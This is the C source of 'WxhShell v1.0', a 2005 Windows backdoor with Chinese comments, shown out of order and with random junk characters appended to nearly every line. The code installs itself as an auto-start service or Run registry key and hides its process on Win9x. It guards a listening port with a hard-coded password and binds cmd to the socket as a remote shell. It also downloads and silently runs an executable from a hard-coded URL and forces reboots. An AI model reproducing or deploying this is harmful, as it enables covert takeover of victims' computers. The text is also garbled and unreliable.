    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Kf1NMin7  
    if(Boot(SHUTDOWN)) +\]Gu(z<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,pIh.sk7s*  
    else { /mXxj93UA  
    closesocket(wsh); lFl(Sww!\  
    ExitThread(0); # /Bg5:  
    } % :h %i|  
    break; `I.pwst8i-  
    } s  }Ql9  
  // 获取shell < 1[K1'7h  
  case 's': { sGa}Cf;H@g  
    CmdShell(wsh); Ad&VOh+0  
    closesocket(wsh); $[UUf}7L   
    ExitThread(0); wJj:hA}  
    break; p(6 sN=  
  } P; h8  
  // 退出 ?N^1v&Q  
  case 'x': { ?4^ 0xGyE  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); V503  
    CloseIt(wsh); Y (p Ud3y  
    break; T+e*'<!O  
    } .cm2L,1h  
  // 离开 "VDMO^  
  case 'q': { Al=ByX@  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ``%yVVg}  
    closesocket(wsh); XBoq/kbw!  
    WSACleanup(); |az2vD6P  
    exit(1); )k;;O7C k  
    break; m*jTvn  
        } Ol~M BQs  
  } l dqU#{  
  } uP+VS>b  
+Qf}&D_  
  // 提示信息 H@1}_d  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); C;j& Vbf  
} stUUez>  
  } &d0sv5&s  
4jt(tZS  
  return; mRa\ wEg%  
} 0<O()NMv  
)2_[Ww|.  
// shell模块句柄 -n8d#Qm)  
int CmdShell(SOCKET sock) 9:P]{}  
{ wZs 2 aa  
STARTUPINFO si; qV6WT&)T  
ZeroMemory(&si,sizeof(si)); hJsP;y:@Lm  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; w@<II-9L)<  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ]IEZ?+F,  
PROCESS_INFORMATION ProcessInfo; <z\`Ma  
char cmdline[]="cmd"; ?U{<g,^  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ^GyZycch  
  return 0; }B a_epM  
} em'ADRxG+  
-]+pwZ4g  
// 自身启动模式 "F%JZO51  
int StartFromService(void) [q U v|l1  
{ vxHFNGI  
typedef struct r! HXhl  
{ X =%8*_  
  DWORD ExitStatus; 7f4O~4.[i  
  DWORD PebBaseAddress; :eSsqt9]9  
  DWORD AffinityMask; &7oL2 Wf  
  DWORD BasePriority; 7[w<v(Rc  
  ULONG UniqueProcessId; vFB^h1k~.M  
  ULONG InheritedFromUniqueProcessId; ZP5 !O[Ut  
}   PROCESS_BASIC_INFORMATION; a6-.|tt#t  
r0 )ne|&Hp  
PROCNTQSIP NtQueryInformationProcess; 1Dl6T\20  
> (9\ cF{  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; g4 eW<  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 3 ye  
x-e6[_F  
  HANDLE             hProcess; Lm=;Y6'`N  
  PROCESS_BASIC_INFORMATION pbi; X fqhD&g  
fP V n;  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); U3N9O.VC  
  if(NULL == hInst ) return 0; n{i,`oQ"  
X.#)CB0c1Q  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); r34MDUZdI  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Id##367R  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); P/dnH  
" X8jpg  
  if (!NtQueryInformationProcess) return 0;  -X71JU  
)+hV+rM jp  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Yu>DgMW  
  if(!hProcess) return 0; {*AA]z? zo  
9&5<ZC-D  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ".tL+A[  
Ff%V1BH[  
  CloseHandle(hProcess); -X~mW  
dWPQp*f2  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); `r-jWK\  
if(hProcess==NULL) return 0; Z sTtSM\Ac  
dw3Hk$"h  
HMODULE hMod; z8'1R6nq  
char procName[255]; M{Z ;7n'  
unsigned long cbNeeded; m$kQbPlatN  
lOk8VlH<h  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 9MYk5q.X:  
=y4dR#R(\  
  CloseHandle(hProcess); b1Kt SRLV  
*Bq}.Yn  
if(strstr(procName,"services")) return 1; // 以服务启动 s:Ml\['x  
+7^p d9F.  
  return 0; // 注册表启动 1J4Pnl+hN  
} -(8I?{"4i  
jk{(o09  
// 主模块 b1.*cIv}  
int StartWxhshell(LPSTR lpCmdLine) w_xca(  
{ ~DI$O[KpR%  
  SOCKET wsl; :Iv;%a0 -  
BOOL val=TRUE; ksOGCd^G7  
  int port=0; 6JDHwV  
  struct sockaddr_in door; >w@+cUto  
.mt%8GM  
  if(wscfg.ws_autoins) Install(); g4$(%]  
n%s%i-[5B  
port=atoi(lpCmdLine); \A"o[A2v  
by X!,  
if(port<=0) port=wscfg.ws_port; B6Vlc{c5SO  
e~9O#rQI  
  WSADATA data; BVNW1<_:  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; V@G#U[D  
N8b\OTk2  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   fI613ww]  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); hTr5Q33y>  
  door.sin_family = AF_INET; 7{L4a\JzT  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); T)rE#"_]{  
  door.sin_port = htons(port); L^3&  
/i'078F  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { \=A A,Il  
closesocket(wsl); P5h|* ?=  
return 1; d9#Vq=H /  
} (Q^sK\  
0N.h:21(4  
  if(listen(wsl,2) == INVALID_SOCKET) { W]9*dabem  
closesocket(wsl); ff\~`n~WZ  
return 1; @h%V:c  
} 4VWk/HK-!  
  Wxhshell(wsl); LH8jT  
  WSACleanup(); RZm%4_p4s  
[@vz0!@s5  
return 0; N Qk aW)  
GiV %Hcx  
} zTF{ g+  
O?JJE8~']  
// 以NT服务方式启动 NXU:b"G S  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) V&M*,#(?  
{ 3'0Pl8  
DWORD   status = 0; _rT\?//B  
  DWORD   specificError = 0xfffffff; CubQ6@,  
.$qa?$@  
  serviceStatus.dwServiceType     = SERVICE_WIN32; G<;~nAo?f0  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; $ J`O-"M  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; h:YD $XE  
  serviceStatus.dwWin32ExitCode     = 0; \k.`xG?  
  serviceStatus.dwServiceSpecificExitCode = 0; ?Z7`TnG$uf  
  serviceStatus.dwCheckPoint       = 0; r~t`H*C)}  
  serviceStatus.dwWaitHint       = 0; jxh:z  
WQK<z!W5  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); m+kP"]v  
  if (hServiceStatusHandle==0) return; {^VtD  
W$rWg>4>  
status = GetLastError(); ~RhUg~o  
  if (status!=NO_ERROR) #j QauO  
{ py*22Ua^  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Dcl$?  
    serviceStatus.dwCheckPoint       = 0; 6#?T?!vZ  
    serviceStatus.dwWaitHint       = 0; SS=<\q#MS  
    serviceStatus.dwWin32ExitCode     = status; >cu%Cs=m  
    serviceStatus.dwServiceSpecificExitCode = specificError; KP&+fDa  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); { mi}3/  
    return; SB_Tzp  
  } {PHH1dC{  
Zd*$^P,|  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; RP4/:sO  
  serviceStatus.dwCheckPoint       = 0; yB b%#GW  
  serviceStatus.dwWaitHint       = 0; uJ !&T  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Ms{";qiG  
} (vs<Fo|]  
*'< AwG&  
// 处理NT服务事件,比如:启动、停止 M!UTqf7XL  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 2Je $SE8  
{ pP. _%5  
switch(fdwControl) d7OygDb<  
{ MMM tB6  
case SERVICE_CONTROL_STOP: 7L{1S v  
  serviceStatus.dwWin32ExitCode = 0; `ONjEl  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; m>@hh#kBg  
  serviceStatus.dwCheckPoint   = 0; AM}R#86  
  serviceStatus.dwWaitHint     = 0; 4xy\  
  { rf.pT+g.P  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \Pg~j\;F]  
  } ]?eZDf~  
  return; q2qi~}l  
case SERVICE_CONTROL_PAUSE: 6j<9Y  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; M tN>5k c  
  break; CVj^{||eF  
case SERVICE_CONTROL_CONTINUE: $~/2!T_  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; RJrz ~,}  
  break; SK<Rk  
case SERVICE_CONTROL_INTERROGATE: n ~t{]if"  
  break; qpjY &3SI  
}; 1Ms[$$b$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *LT~:Gs#  
} 067c/ c  
_Cmmx`ln  
// 标准应用程序主函数 1|bXIY.J*  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) +#}GmUwPG$  
{ eA/n.V$z  
$@g]?*L:  
// 获取操作系统版本 ~6[?=mOi'  
OsIsNt=GetOsVer(); p@ <Q?  
GetModuleFileName(NULL,ExeFile,MAX_PATH); &OMlW _FHR  
V>@[\N[  
  // 从命令行安装 U&!TA(Yr  
  if(strpbrk(lpCmdLine,"iI")) Install(); j#NyNv(jE1  
@CMI$}!{V  
  // 下载执行文件 =~#mF<z5  
if(wscfg.ws_downexe) { j{@O %fv=  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 4ot<Uw5  
  WinExec(wscfg.ws_filenam,SW_HIDE); %( )d$.F  
} %go2tv:|W  
)H8_.]|  
if(!OsIsNt) { ;Rrh$Ag  
// 如果时win9x,隐藏进程并且设置为注册表启动 P}bIp+  
HideProc(); LCF}Y{  
StartWxhshell(lpCmdLine);  j]u!;]  
} \Z-th,t  
else y7Po$)8l  
  if(StartFromService()) 3uL f0D  
  // 以服务方式启动 >p_W(u@ z$  
  StartServiceCtrlDispatcher(DispatchTable); Wn%P.`o#  
else l=@ B 'a  
  // 普通方式启动 <_EKCk  
  StartWxhshell(lpCmdLine); peQwH  
B}e/MlX3M  
return 0; nzq   
} rTPgHK]?l  
J2mHPV A3  
^7gGtz2  
zj 6I:Q r  
=========================================== AjzTszByu  
-<W?it?D  
|23F@s1  
wi(Y=?=  
 5NU{y+  
Ln"wj O ,  
" ;kFD769DLw  
ClG%zE&i  
#include <stdio.h> 2qMiX|Y  
#include <string.h> > p`,  
#include <windows.h> mH o#"tc  
#include <winsock2.h> ,7{|90'V<  
#include <winsvc.h> ~q$]iwwqT  
#include <urlmon.h> [FFr}\}bY  
x/|W;8g4  
#pragma comment (lib, "Ws2_32.lib") 'jev1u[  
#pragma comment (lib, "urlmon.lib") -Q WvB  
!09)WtsEfx  
#define MAX_USER   100 // 最大客户端连接数 E^F"$Z" N  
#define BUF_SOCK   200 // sock buffer DfXkLOGik  
#define KEY_BUFF   255 // 输入 buffer 5`;SI36"  
4TtC~#D:  
#define REBOOT     0   // 重启 3I)~;>meo  
#define SHUTDOWN   1   // 关机 N*Y[[N(  
K-qWT7<  
#define DEF_PORT   5000 // 监听端口 u]^ s2v  
%(CC  
#define REG_LEN     16   // 注册表键长度 f56yI]*N=<  
#define SVC_LEN     80   // NT服务名长度 $?= $F  
^q7V%{54  
// 从dll定义API p`tz*ewC  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); %~rEJB@{  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 3CCs_AO  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ah>c)1DA*H  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); B#K gU&Loo  
-y`Pm8  
// wxhshell配置信息 ;6tra_  
struct WSCFG { _l d.Xmvd  
  int ws_port;         // 监听端口 ?]Yic]$n  
  char ws_passstr[REG_LEN]; // 口令 ot0teNF  
  int ws_autoins;       // 安装标记, 1=yes 0=no hkK>h  
  char ws_regname[REG_LEN]; // 注册表键名 ddn IKkOp  
  char ws_svcname[REG_LEN]; // 服务名 u I e^Me  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 7?.uAiM'zT  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 x:SjdT  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 w$]G$e  
int ws_downexe;       // 下载执行标记, 1=yes 0=no kmQ:wf:  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 5Xq+lLW>  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 2/-m-5A  
($di]lbsT  
}; D8A+`W?  
OC! {8MR  
// default Wxhshell configuration { FJMc O=  
struct WSCFG wscfg={DEF_PORT, qe]D4K8`Q3  
    "xuhuanlingzhe", I?T !  
    1, {^]qaQ[5N  
    "Wxhshell", UZdnsG7  
    "Wxhshell", hf`y_H+\7  
            "WxhShell Service", WowKq0sn  
    "Wrsky Windows CmdShell Service", l@`k:?  
    "Please Input Your Password: ", di\.*7l?  
  1, [(X~C*VdxM  
  "http://www.wrsky.com/wxhshell.exe", ;,y_^-h;  
  "Wxhshell.exe" 1+%UZK= K  
    }; .k#PrT1C  
0'sZ7f<e7  
// 消息定义模块 dXyMRGR Uq  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; K1 f1 T  
char *msg_ws_prompt="\n\r? for help\n\r#>"; R iZ)FW  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; GT6; I7  
char *msg_ws_ext="\n\rExit."; j{C~wy!J  
char *msg_ws_end="\n\rQuit."; >+O0W)g{o  
char *msg_ws_boot="\n\rReboot..."; '}cSBbl&/n  
char *msg_ws_poff="\n\rShutdown..."; -J v,#Z3  
char *msg_ws_down="\n\rSave to "; NlYuT+  
ko%mZ0Y  
char *msg_ws_err="\n\rErr!"; rwWOhD)RU  
char *msg_ws_ok="\n\rOK!"; }Qo]~/  
b9g2mWL\T  
char ExeFile[MAX_PATH]; *|&Y ,H?  
int nUser = 0; "8QRYV~Z  
HANDLE handles[MAX_USER]; =!Ik5LiD  
int OsIsNt; z~{08M7  
_L,~WYRo  
SERVICE_STATUS       serviceStatus; MN: {,#d0  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; &A:&2sP8  
Dj/Hz\  
// 函数声明 Df"PNUwA"  
int Install(void); w1Bkz\95  
int Uninstall(void); PKlR_#EB?  
int DownloadFile(char *sURL, SOCKET wsh); .ATpwFal  
int Boot(int flag); 3.movkj  
void HideProc(void); %! ` %21  
int GetOsVer(void); ,[n9DPZ  
int Wxhshell(SOCKET wsl); }B%9cc  
void TalkWithClient(void *cs); *r.% /^@  
int CmdShell(SOCKET sock); b+Q{Z*  
int StartFromService(void); +2[0q% i  
int StartWxhshell(LPSTR lpCmdLine); 9KK^1<46c  
/&6{}n  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); [3dGHf;miw  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); @(R=4LL  
{OG1' m6=/  
// 数据结构和表定义 r1~W(r.x  
SERVICE_TABLE_ENTRY DispatchTable[] = `.@udfog^0  
{ &Wy>t8DIK  
{wscfg.ws_svcname, NTServiceMain}, B9(w^l$kZ|  
{NULL, NULL} S @[]znH  
}; % J\G[dl  
1 -Z&/3T]  
// 自我安装 ?0)K[Kd'Y  
int Install(void) 4(8c L?J`0  
{ UDHOcb  
  char svExeFile[MAX_PATH]; NXD-  
  HKEY key; Sr+hB>{  
  strcpy(svExeFile,ExeFile); =1Plu5  
C\{A|'l!x  
// 如果是win9x系统,修改注册表设为自启动 nscnG5'{+  
if(!OsIsNt) { 5,xPB5pK  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ( yLu=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); dr)*.<_+a(  
  RegCloseKey(key); %=z>kU1|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { auI`'O`/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Le83[E*i  
  RegCloseKey(key); 0 Rb3| te  
  return 0; WOPIF~1v  
    } , S^y>  
  } I(UK9H{0$  
} Q``1^E'  
else { OcB&6!1u  
rzdQLan  
// 如果是NT以上系统,安装为系统服务 qFVZhBC  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); j6s j2D  
if (schSCManager!=0) Z71_D  
{ &wQ<sVQ0$  
  SC_HANDLE schService = CreateService V 2Xv)  
  ( Zl[EpXlZ  
  schSCManager, f0eQq;D$K  
  wscfg.ws_svcname, PE.UNo>o  
  wscfg.ws_svcdisp, S))B^).0-  
  SERVICE_ALL_ACCESS, 9z?c0W5x  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , e"1mdw"  
  SERVICE_AUTO_START, N75U.;U0  
  SERVICE_ERROR_NORMAL, <j,I@%  
  svExeFile, HFB>0<$  
  NULL, e'~Qe_  
  NULL, Uhu?G0>O  
  NULL, 8K^#$,.."  
  NULL, C;ab-gh  
  NULL  }<kl3{)  
  ); ;0Ua t  
  if (schService!=0) P|1  D6  
  { RrLj5Jq  
  CloseServiceHandle(schService); j7d^g a-`  
  CloseServiceHandle(schSCManager); _W@sFv%sj  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); xTk6q*NvT^  
  strcat(svExeFile,wscfg.ws_svcname); ]G&[P8hz B  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 'h ?  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); /@Jg [na  
  RegCloseKey(key); ql%K+4@  
  return 0; i=5!taxu}E  
    } krGIE}5  
  } `?T::&`  
  CloseServiceHandle(schSCManager); 'RwfW|~6  
} Qraq{'3  
} yl*%P3m|  
aQH]hLvs  
return 1; zM8 jjB  
} k %{q q v  
37n2#E  
// 自我卸载 .WeSU0XG  
int Uninstall(void) Q@p' nE,  
{ pv4#`.m  
  HKEY key; BZOl&G(  
dJzaP  
if(!OsIsNt) { E*R-Dno_F  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /0`Eux\  
  RegDeleteValue(key,wscfg.ws_regname); nYC.zc*ox  
  RegCloseKey(key); Z$i?p;HnW  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { n=f?Q=h\3  
  RegDeleteValue(key,wscfg.ws_regname); "4KyJ;RA*  
  RegCloseKey(key); |0^IX   
  return 0; V6>{k_0{V  
  } `?^<r%*F.  
} zgS)j9q}  
} ys)  
else { 8/B8yY-O  
qi^kf  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 5T"h7^}e  
if (schSCManager!=0) -5os0G80  
{ Ur[ai6LNG  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); (^T}6t3+4  
  if (schService!=0) ZCK#=:ln  
  { ^-Ks_4  
  if(DeleteService(schService)!=0) { ; p+C0!B2  
  CloseServiceHandle(schService); \k$cg~  
  CloseServiceHandle(schSCManager); eVj 8u  
  return 0; o7gZc/?n  
  } .$f0!` t  
  CloseServiceHandle(schService); ]c\`EHN  
  } f&F9ImZ  
  CloseServiceHandle(schSCManager); >y}> 5kv  
} 7u1o>a %9  
} hQ)?LPUB  
Yjy%MR  
return 1; amQiH!}8R  
} H>\l E2  
}If,O  
// 从指定url下载文件 $/u.F;  
int DownloadFile(char *sURL, SOCKET wsh) )+)qFGVz  
{ M"-53|#:w\  
  HRESULT hr; #p{8  
char seps[]= "/"; 1@-l@ P  
char *token; "SKv'*\b  
char *file; !!6@r|.  
char myURL[MAX_PATH]; `^g-2~  
char myFILE[MAX_PATH]; 9e;{o,r@  
O|v8.3[cT  
strcpy(myURL,sURL); t}K8{ V  
  token=strtok(myURL,seps); JBV 06T_4o  
  while(token!=NULL) G]-\$>5R  
  { .F/l$4CQ  
    file=token; ieOw&  
  token=strtok(NULL,seps); FIJ]`  
  } (h&=N a~  
) [)1  
GetCurrentDirectory(MAX_PATH,myFILE); Qc Xw -  
strcat(myFILE, "\\"); R{B5{~m>W@  
strcat(myFILE, file); U~|)=+%O  
  send(wsh,myFILE,strlen(myFILE),0); Kk% I N9  
send(wsh,"...",3,0); *EU1`q*  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Rs'mk6+  
  if(hr==S_OK) *TL3-S?   
return 0; So NgDFD  
else wG 5H^>6u>  
return 1; [MAvU?;  
vA?3kfL|#  
} }y|_v^  
1LmbXH]%  
// 系统电源模块 Z'wGZ(  
int Boot(int flag) -ADb5-px  
{ C;Kq_/l  
  HANDLE hToken; khP Ub,  
  TOKEN_PRIVILEGES tkp; Qoz4(~I  
|l~#qeZ%  
  if(OsIsNt) { pSx}:u^am  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); |UQGZ  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Fp+fZU  
    tkp.PrivilegeCount = 1; |i(@1 l  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 9]S;%:64  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 8[)"+IFN  
if(flag==REBOOT) { [Z[ p@Ux  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 2"Ki5  
  return 0; BS?rKtdm(  
} ;0dl  
else { Jk`0yJi$q  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Qj9'VI>&  
  return 0; SG)|4$"  
} tv9 R$-cJ  
  } n}J!?zZc  
  else { ur+\!y7^R  
if(flag==REBOOT) { Z(ToemF)hi  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Xq$9H@.  
  return 0; D'Kiy  
} ;k=`J  
else { !imjfkG  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ?KFj=Yo  
  return 0; 9+'*  
} ATD4 %|a9h  
} opReAU'I  
x c?=fv  
return 1; `! )^g/>0i  
} _y9NDLRs8  
JPe<qf-  
// win9x进程隐藏模块 ,/-DAo~O  
void HideProc(void) \k%j  
{ RPTIDA))  
u0Opn=(_  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ?2S<D5M Sb  
  if ( hKernel != NULL ) Cyp%E5b7  
  { 'Y5l3xQk  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); nsXyReWka  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); n?NUnFA  
    FreeLibrary(hKernel);  )jH|j  
  } %bB:I1V\  
Yx"~_xA/u  
return; J'yiVneMw  
} 9,wU[=.0  
Ix.Y_}  
// 获取操作系统版本 bl8y o4  
int GetOsVer(void) WHR6/H  
{ Hy2~D:34  
  OSVERSIONINFO winfo; `G>BvS5h  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); EE~DU;p;]  
  GetVersionEx(&winfo); AgJPtzs  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) DLEHsbP{$  
  return 1; K1*V\WRW5  
  else _lZWy$rm%  
  return 0; d?jzh 1  
} 6M6r&,yRu  
\x~},!l  
// 客户端句柄模块 )VkH':yCM  
int Wxhshell(SOCKET wsl) TxmKmZ u  
{ bSk)GZyH\d  
  SOCKET wsh; }\.Z{h:t ?  
  struct sockaddr_in client; ga|-~~  
  DWORD myID; DP &*P/  
~ ll+/w\4  
  while(nUser<MAX_USER) ByW,YKMy  
{ 4u]>$?X1_  
  int nSize=sizeof(client); %H7H0 %qW  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ]]V| ]}<)m  
  if(wsh==INVALID_SOCKET) return 1; a q]bF%7  
KiMEd373-  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); &}b-aAt  
if(handles[nUser]==0) g:[yA{Eh  
  closesocket(wsh); T3/Gl 6f  
else MMyJAGh ^G  
  nUser++; HhT6gJWrU  
  } a>)|SfsE  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); hR~~k~84  
-Z&9pI(3R~  
  return 0; uVLKR PY  
} LVNJlRK  
)uH#+IU  
// 关闭 socket @l@erCw@  
void CloseIt(SOCKET wsh) +r 8/\'u-  
{ F44KbUH  
closesocket(wsh); hdy N   
nUser--; -e_L2<7  
ExitThread(0); Mzj|57:gx  
}  pytF K)U  
aF:|MTC(~  
// 客户端请求句柄 K`twbTU  
void TalkWithClient(void *cs) cDLjjK7:   
{ s)V<dm;T  
njBK{  
  SOCKET wsh=(SOCKET)cs; 2!g7F`/B  
  char pwd[SVC_LEN]; P(~vqo>!  
  char cmd[KEY_BUFF]; W4S! rU  
char chr[1]; zr1A4%S"  
int i,j; ,I8[tiR"b  
bLyaJ%pa\/  
  while (nUser < MAX_USER) { Wt9'-"c  
{*t0WE&1t  
if(wscfg.ws_passstr) { Huho|6ohH  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 629 #t`W\  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7eQc14  
  //ZeroMemory(pwd,KEY_BUFF); y[I)hSD=  
      i=0; 6%fF6  
  while(i<SVC_LEN) { tF~D!t@  
H4IJLZ3G  
  // 设置超时 U9:I"f,  
  fd_set FdRead; } ^n346^  
  struct timeval TimeOut; n_MY69W  
  FD_ZERO(&FdRead); 9*j$U$:'  
  FD_SET(wsh,&FdRead); [BKX$A:Y  
  TimeOut.tv_sec=8; i>=!6Hu2  
  TimeOut.tv_usec=0; NT<vs"<B  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); DjveMs$d  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); n8'#'^|  
)XoIb[s"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 45$F cK  
  pwd=chr[0]; si`h(VD9w  
  if(chr[0]==0xd || chr[0]==0xa) { )CUB7D)=  
  pwd=0; .u$o^; z!  
  break; F4 :#okt  
  } FR? \H"'x  
  i++; 2H2Yxe7?-  
    } PNhxF C.  
[vyi_0[  
  // 如果是非法用户,关闭 socket >}6V=r3[+  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 5 p! rZ  
} \ 3HB  
zpBkP-%}E  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ;A;FR3=)  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "vN~7%  
h YEUiQ  
while(1) { <5:`tC2  
Z<@dM2b)  
  ZeroMemory(cmd,KEY_BUFF); ~mK|~x01@  
rM{V>s:N  
      // 自动支持客户端 telnet标准   "=3bL>\<  
  j=0; %Ae43  
  while(j<KEY_BUFF) { :|PgGhW  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |%c"Avc  
  cmd[j]=chr[0]; WHKe\8zWq  
  if(chr[0]==0xa || chr[0]==0xd) { ?)?}^  
  cmd[j]=0; *^Xtorqo  
  break; xmBGZ4f%  
  } B"=w9w]  
  j++; XCUU(H  
    } ^QTtCt^:  
TIYo&?Z)  
  // 下载文件 ]@9ZUtU,;N  
  if(strstr(cmd,"http://")) { 0mi$_Ld+  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); o2e gNTG  
  if(DownloadFile(cmd,wsh)) b_rHt s  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;kb);iT  
  else :XaBCF*  
